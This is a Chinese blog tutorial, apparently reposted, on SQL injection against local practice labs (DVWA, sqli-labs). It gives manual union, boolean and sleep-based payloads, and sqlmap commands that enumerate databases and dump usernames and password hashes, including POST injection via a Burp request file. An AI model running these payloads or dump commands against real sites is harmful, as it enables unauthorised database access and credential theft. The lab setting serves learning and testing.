Web安全--SQL注入(sqlmap掃描實例)

一、sqlmap簡介
sqlmap就是一個用來做sql注入攻擊的工具

二、實例操作

這是我們本次進行sql注入攻擊實例的地址:是我自己本地搭建的kali
在這裏插入圖片描述
方法一:手動攻擊
1. 確定注入的類型
(1)

- 操作一:在搜索框中輸入:1
在這裏插入圖片描述
結果:正確得到搜索結果
- 操作二:在輸入框中輸入 1’
-
如果1顯示在報錯信息裏,那麼這裏就是字符型注入,如果1不在報錯信息裏的話那就是數字型注入,字符型注入的話在後面操作的時候就需要加個’ 號進行閉合,數字型則不需要
結果: 根據報錯內容可知,原本這裏是個字符。
紅色標註裏就是報錯的地方,這裏顯示多了一個’號

2. 布爾查詢
- 操作一:輸入恆爲真的等式,結果如下
在這裏插入圖片描述
- 操作二:輸入恆爲假的等式,結果如下:
在這裏插入圖片描述
3. 聯合查詢

 ' union select 1, database() -- 得到當前數據庫名

在這裏插入圖片描述

' union select 1, table_schema from information_schema.tables --     得到庫名

在這裏插入圖片描述

' union select 1, table_name from information_schema.tables -- 得到表名

在這裏插入圖片描述

' union select 1,concat(table_schema,table_name) from information_schema.tables -- 同時得到庫名和表名

在這裏插入圖片描述

' union select 1,column_name from information_schema.columns where table_name='users' -- 得到表字段(列名)

在這裏插入圖片描述

' union select user,password from users --    得到表裏的數據

在這裏插入圖片描述
得到上面的密碼後再通過MD5進行解密即可
在這裏插入圖片描述
這樣我們就得到了登錄的帳號密碼,或者是想要的數據信息。

方法二:sqlmap自動掃描

首先可以通過sqlmap -h查看講解

這裏我們列出幾個常用的命令:
-u "url"  檢測注入點
--dbs   列出所有數據庫的名字
--current-db   列出當前數據庫的名字
-D   指定一個數據庫
--tables  列出表名
-T 指定表名
--columns   列出所有的字段名
-C    指定字段
--dump   列出字段內容

我們還是對以下這個頁面進行sql注入,這裏可以看到只有一個變量id
在這裏插入圖片描述

  • 操作一:
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

這裏我們只是對id進行sql注入,所以可以省略爲

sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1"

在這裏插入圖片描述
這裏提示注入需要登錄,因爲這裏頁面是需要登錄kali以後才能進到的頁面,所以這裏我們加上cookie
(打開f12,刷新當前頁面就能得到cookie)

sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1" --cookie=security=low; PHPSESSID=a0v2lns70dfbtm7oakvdpddi61; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

在這裏插入圖片描述

sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=1"  --dbs    得到所有庫

在這裏插入圖片描述

sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" --current-dbs    得到當前庫
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" -D "dvwa" --tables   得到dvwa庫裏所有表

在這裏插入圖片描述

sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" -D "dvwa" -T "users" --columns
得到表裏所有字段
sqlmap -u "http://192.168.128.128/dvwa/vulnerabilities/sqli/?id=&Submit=Submit#" -D "dvwa" -T "users"  -C "username,password" --dump     得到字段的值

以上兩種方式都是針對GET型,那麼如果是POST類型(如後臺登錄)注入,就需要使用到下面的方法:
1.打開burpsuite工具,設置代理,開啓攔截
2.在登錄頁面隨便輸入賬號和密碼,點擊登錄按鈕
3.此時打開burpsuite工具,copy圖中位置攔截的請求內容

在這裏插入圖片描述
4. 在服務器的sqlmap裏新建文件並放入剛剛複製的內容: vim post.txt
5.
5. sqlmap -r post.txt
輸入命令以後就開始自動進行Sql注入測試了

學習視頻:https://www.bilibili.com/video/av88225380?p=18
實例鏈接:https://blog.csdn.net/qq_41420747/article/details/81836327

操作步驟及思路:
對象:http://localhost/sqli-labs-master/Less-1/
–報錯注入

  1. http://localhost/sqli-labs-master/Less-1/?id=1
    查看頁面是否能夠返回不同元素
  2. http://localhost/sqli-labs-master/Less-1/?id=2
    查看頁面是否返回不同元素,如果是,則表明數據庫的內容會回顯到頁面上,所以這裏如果存在sql注入的話首選聯合查詢注入
    –查看閉合方式(即是數字型還是字符型)
  3. http://localhost/sqli-labs-master/Less-1/?id=1’
    在這裏插入圖片描述
    頁面報錯,我們輸入的1在報錯中有體現,所以屬於字符型輸入,如果這裏沒有體現就屬於數字型注入
    字符型輸入的閉合方式是’,數字型不需要閉合
    這裏1後面有其他的sql語句,所以需要對後面的內容進行註釋,用–+或者-- (這裏有個空格)
    –檢測布爾注入
  4. http://localhost/sqli-labs-master/Less-1/?id=1’ and 1=1 --+
    頁面正確展示數據
  5. http://localhost/sqli-labs-master/Less-1/?id=1’ and 1=2 --+
    頁面數據發生變化
    –延時注入
  6. http://localhost/sqli-labs-master/Less-1/?id=1’ and sleep(5) --+
    頁面加載等待,此時不用管頁面展示什麼,只是看加載是否等待
    –聯合查詢
  7. http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 union select 1
    進行聯合查詢時需要將前面的語句置爲假,然後纔會正確展示後面的語句
  8. http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 union select 1,2
    這裏是根據頁面提示找到數據的正確列
  9. http://localhost/sqli-labs-master/Less-1/?id=1 and 1=2 union select 1,version(),3
    找到列以後就把字段換成對應的信息,這裏如果正確展示了version()的信息那注入測試就結束了,因爲能得到version就代表我們能獲取到數據庫的敏感信息了。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章